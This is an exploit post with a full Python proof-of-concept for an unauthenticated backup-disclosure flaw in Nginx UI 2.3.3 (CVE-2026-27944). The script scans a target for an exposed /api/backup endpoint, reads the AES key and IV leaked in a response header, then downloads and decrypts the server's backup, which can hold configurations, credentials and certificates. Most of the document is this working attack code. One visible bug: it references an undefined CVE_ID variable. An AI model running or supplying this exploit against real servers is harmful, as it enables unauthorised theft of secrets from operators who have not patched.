============================================================================================================================================= | # Title : Nginx UI 2.3.3 Unauthenticated Backup Disclosure and Decryption | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://nginx.org/ | ============================================================================================================================================= [+] Summary : This Python proof‑of‑concept demonstrates an unauthenticated information disclosure vulnerability in Nginx UI tracked as CVE-2026-27944. The vulnerability allows a remote attacker to access the /api/backup endpoint without authentication and retrieve a backup archive of the server configuration. The endpoint returns an encrypted backup along with a custom HTTP header (X-Backup-Security) that exposes the AES encryption key and IV encoded in Base64. Because the cryptographic material is transmitted directly in the response headers, an attacker can easily download and decrypt the backup file, gaining access to sensitive configuration data. [+] The provided script supports two modes: scan – checks if the target server exposes the vulnerable /api/backup endpoint. exploit – downloads the encrypted backup, extracts the AES key and IV from the header, and decrypts the archive locally. Successful exploitation may lead to disclosure of Nginx configurations, credentials, certificates, or other sensitive data stored in the backup. [+] POC : #!/usr/bin/env python3 import argparse import base64 import sys import os import logging import requests from requests.exceptions import RequestException logging.basicConfig( level=logging.INFO, format="%(levelname)s - %(message)s" ) log = logging.getLogger(__name__) try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpad CRYPTO_AVAILABLE = True except ImportError: CRYPTO_AVAILABLE = False def normalize_target(target): if not target.startswith(("http://", "https://")): target = "http://" + target return target.rstrip("/") def create_session(proxy=None, verify=True): session = requests.Session() session.headers.update({ "User-Agent": "Mozilla/5.0 CVE-Scanner" }) if proxy: session.proxies = { "http": proxy, "https": proxy } session.verify = verify return session def check_vulnerability(session, target, timeout=10): url = normalize_target(target) + "/api/backup" try: r = session.get( url, stream=True, timeout=(5, timeout), allow_redirects=False ) if r.status_code != 200: return False, None, 0 header = r.headers.get("X-Backup-Security") if not header: return False, None, 0 size = int(r.headers.get("Content-Length", 0)) return True, r.headers, size except RequestException as e: log.error(f"Connection error: {e}") return False, None, 0 def download_and_decrypt(session, target, output_file, timeout=30): if not CRYPTO_AVAILABLE: log.error("pycryptodome required") sys.exit(1) url = normalize_target(target) + "/api/backup" try: r = session.get( url, stream=True, timeout=(5, timeout) ) if r.status_code != 200: log.error(f"HTTP {r.status_code}") return False header = r.headers.get("X-Backup-Security") if not header: log.error("Header missing") return False try: key_b64, iv_b64 = header.split(":") key = base64.b64decode(key_b64) iv = base64.b64decode(iv_b64) except Exception: log.error("Invalid security header") return False if len(key) not in (16, 24, 32): log.error("Invalid AES key length") return False if len(iv) != 16: log.error("Invalid IV length") return False log.info(f"AES key length: {len(key)}") log.info(f"IV length: {len(iv)}") enc_file = output_file + ".enc" size = 0 with open(enc_file, "wb") as f: for chunk in r.iter_content(8192): if chunk: f.write(chunk) size += len(chunk) log.info(f"Downloaded {size} bytes") cipher = AES.new(key, AES.MODE_CBC, iv) with open(enc_file, "rb") as f: encrypted = f.read() try: decrypted = unpad( cipher.decrypt(encrypted), AES.block_size ) except ValueError: log.warning("Padding failed, raw decrypt") decrypted = cipher.decrypt(encrypted) with open(output_file, "wb") as f: f.write(decrypted) os.remove(enc_file) log.info(f"Saved decrypted backup -> {output_file}") return True except RequestException as e: log.error(f"Network error: {e}") return False def main(): parser = argparse.ArgumentParser( description=f"{CVE_ID} Scanner" ) parser.add_argument( "--proxy", help="Proxy (ex: http://127.0.0.1:8080)" ) parser.add_argument( "--no-verify", action="store_true", help="Disable SSL verification" ) sub = parser.add_subparsers(dest="cmd", required=True) scan = sub.add_parser("scan") scan.add_argument("target") exploit = sub.add_parser("exploit") exploit.add_argument("target") exploit.add_argument("-o", "--output", default="backup.bin") args = parser.parse_args() session = create_session( proxy=args.proxy, verify=not args.no_verify ) if args.cmd == "scan": log.info(f"Scanning {args.target}") vuln, headers, size = check_vulnerability( session, args.target ) if vuln: log.info("Target appears vulnerable") log.info(f"Backup size: {size}") else: log.info("Target not vulnerable") elif args.cmd == "exploit": log.info(f"Running exploit against {args.target}") success = download_and_decrypt( session, args.target, args.output ) if success: log.info("Exploit completed") else: log.error("Exploit failed") if __name__ == "__main__": main() Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================